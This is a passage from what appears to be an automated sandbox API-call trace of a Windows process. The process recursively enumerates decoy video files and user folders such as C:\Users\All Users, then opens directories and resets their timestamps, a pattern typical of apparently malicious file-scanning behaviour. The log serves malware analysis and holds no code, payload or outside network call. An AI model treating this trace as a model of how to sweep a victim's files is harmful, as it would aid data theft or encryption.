ftLastAccessTime.dwLowDateTime=0xbc760240, ftLastAccessTime.dwHighDateTime=0x1d5bcc4, ftLastWriteTime.dwLowDateTime=0xbc760240, ftLastWriteTime.dwHighDateTime=0x1d5bcc4, nFileSizeHigh=0x0, nFileSizeLow=0x16721, dwReserved0=0x0, dwReserved1=0x0, cFileName="eKRydH1.mkv", cAlternateFileName="")) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442f19b0, ftCreationTime.dwHighDateTime=0x1d5bb21, ftLastAccessTime.dwLowDateTime=0x6f1e20a0, ftLastAccessTime.dwHighDateTime=0x1d5bb79, ftLastWriteTime.dwLowDateTime=0x6f1e20a0, ftLastWriteTime.dwHighDateTime=0x1d5bb79, nFileSizeHigh=0x0, nFileSizeLow=0x152b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eUfsbTNqeYmjbT6_.swf", cAlternateFileName="")) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5cc90d0, ftCreationTime.dwHighDateTime=0x1d5bf9f, ftLastAccessTime.dwLowDateTime=0xfa603e60, ftLastAccessTime.dwHighDateTime=0x1d5c091, ftLastWriteTime.dwLowDateTime=0xfa603e60, ftLastWriteTime.dwHighDateTime=0x1d5c091, nFileSizeHigh=0x0, nFileSizeLow=0xa128, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXauS.mp4", cAlternateFileName="")) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bb69a0, ftCreationTime.dwHighDateTime=0x1d5bfe3, ftLastAccessTime.dwLowDateTime=0x4b0184d0, ftLastAccessTime.dwHighDateTime=0x1d5bcde, ftLastWriteTime.dwLowDateTime=0x4b0184d0, ftLastWriteTime.dwHighDateTime=0x1d5bcde, nFileSizeHigh=0x0, nFileSizeLow=0x756d, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3QgdfdfrGD4jWlG U.flv", cAlternateFileName="")) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffa1080, ftCreationTime.dwHighDateTime=0x1d5c44c, ftLastAccessTime.dwLowDateTime=0x5d9ba7c0, ftLastAccessTime.dwHighDateTime=0x1d5bf62, ftLastWriteTime.dwLowDateTime=0x5d9ba7c0, ftLastWriteTime.dwHighDateTime=0x1d5bf62, nFileSizeHigh=0x0, nFileSizeLow=0x7365, dwReserved0=0x0, dwReserved1=0x0, cFileName="_VTKby_RRW4.avi", cAlternateFileName="")) returned 1 [0091.161] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ffa1080, ftCreationTime.dwHighDateTime=0x1d5c44c, ftLastAccessTime.dwLowDateTime=0x5d9ba7c0, ftLastAccessTime.dwHighDateTime=0x1d5bf62, ftLastWriteTime.dwLowDateTime=0x5d9ba7c0, ftLastWriteTime.dwHighDateTime=0x1d5bf62, nFileSizeHigh=0x0, nFileSizeLow=0x7365, dwReserved0=0x0, dwReserved1=0x0, cFileName="_VTKby_RRW4.avi", cAlternateFileName="")) returned 0 [0091.161] GetLastError () returned 0x12 [0091.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1352dc8) returned 1 [0091.161] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0091.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1352ed0) returned 1 [0091.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1352cc0) returned 1 [0091.162] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eacda40, ftCreationTime.dwHighDateTime=0x1d5c16a, ftLastAccessTime.dwLowDateTime=0xe8fa8fe0, ftLastAccessTime.dwHighDateTime=0x1d5be25, ftLastWriteTime.dwLowDateTime=0xe8fa8fe0, ftLastWriteTime.dwHighDateTime=0x1d5be25, nFileSizeHigh=0x0, nFileSizeLow=0x10c4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cqveBIm_cmTp-M.mp4", cAlternateFileName="")) returned 1 [0091.162] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e555bc0, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xa0824870, ftLastAccessTime.dwHighDateTime=0x1d5bc86, ftLastWriteTime.dwLowDateTime=0xa0824870, ftLastWriteTime.dwHighDateTime=0x1d5bc86, nFileSizeHigh=0x0, nFileSizeLow=0x9a20, dwReserved0=0x0, dwReserved1=0x0, cFileName="hCaGjfYGy.avi", cAlternateFileName="")) returned 1 [0091.162] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c866b10, ftCreationTime.dwHighDateTime=0x1d5b944, ftLastAccessTime.dwLowDateTime=0xd278a350, ftLastAccessTime.dwHighDateTime=0x1d5bff2, ftLastWriteTime.dwLowDateTime=0xd278a350, ftLastWriteTime.dwHighDateTime=0x1d5bff2, nFileSizeHigh=0x0, nFileSizeLow=0x2c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="r_F V.mkv", cAlternateFileName="")) returned 1 [0091.162] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad37f60, ftCreationTime.dwHighDateTime=0x1d5bdbb, ftLastAccessTime.dwLowDateTime=0x23a0a3e0, ftLastAccessTime.dwHighDateTime=0x1d5baa8, ftLastWriteTime.dwLowDateTime=0x23a0a3e0, ftLastWriteTime.dwHighDateTime=0x1d5baa8, nFileSizeHigh=0x0, nFileSizeLow=0xfdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="wezucqO.mkv", cAlternateFileName="")) returned 1 [0091.162] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad37f60, ftCreationTime.dwHighDateTime=0x1d5bdbb, ftLastAccessTime.dwLowDateTime=0x23a0a3e0, ftLastAccessTime.dwHighDateTime=0x1d5baa8, ftLastWriteTime.dwLowDateTime=0x23a0a3e0, ftLastWriteTime.dwHighDateTime=0x1d5baa8, nFileSizeHigh=0x0, nFileSizeLow=0xfdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="wezucqO.mkv", cAlternateFileName="")) returned 0 [0091.162] GetLastError () returned 0x12 [0091.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.162] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1352798) returned 1 [0091.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.163] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fcf8b00, ftCreationTime.dwHighDateTime=0x1d5ba48, ftLastAccessTime.dwLowDateTime=0x4ad45c0, ftLastAccessTime.dwHighDateTime=0x1d5bb06, ftLastWriteTime.dwLowDateTime=0x4ad45c0, ftLastWriteTime.dwHighDateTime=0x1d5bb06, nFileSizeHigh=0x0, nFileSizeLow=0x7f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uCkacD82yMJ.mkv", cAlternateFileName="")) returned 1 [0091.163] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fcf8b00, ftCreationTime.dwHighDateTime=0x1d5ba48, ftLastAccessTime.dwLowDateTime=0x4ad45c0, ftLastAccessTime.dwHighDateTime=0x1d5bb06, ftLastWriteTime.dwLowDateTime=0x4ad45c0, ftLastWriteTime.dwHighDateTime=0x1d5bb06, nFileSizeHigh=0x0, nFileSizeLow=0x7f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uCkacD82yMJ.mkv", cAlternateFileName="")) returned 0 [0091.163] GetLastError () returned 0x12 [0091.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.163] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0091.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OXF59RZWsB", cAlternateFileName="")) returned 0 [0091.164] GetLastError () returned 0x12 [0091.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.164] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0091.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.165] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0091.165] GetLastError () returned 0x12 [0091.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0091.165] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0091.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.166] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0091.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0091.166] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users" (normalized: "c:\\users\\all users"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.167] CreateFileW (lpFileName="C:\\Users\\All Users" (normalized: "c:\\users\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.167] GetLastError () returned 0x5 [0091.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0091.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0091.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0091.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0091.169] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0091.170] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0091.171] GetLastError () returned 0x12 [0091.171] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0091.171] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0091.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe" (normalized: "c:\\users\\all users\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.172] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe" (normalized: "c:\\users\\all users\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.172] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0091.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.172] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0091.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.173] NtClose (Handle=0x17c) returned 0x0 [0091.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.174] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9180 [0091.174] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, 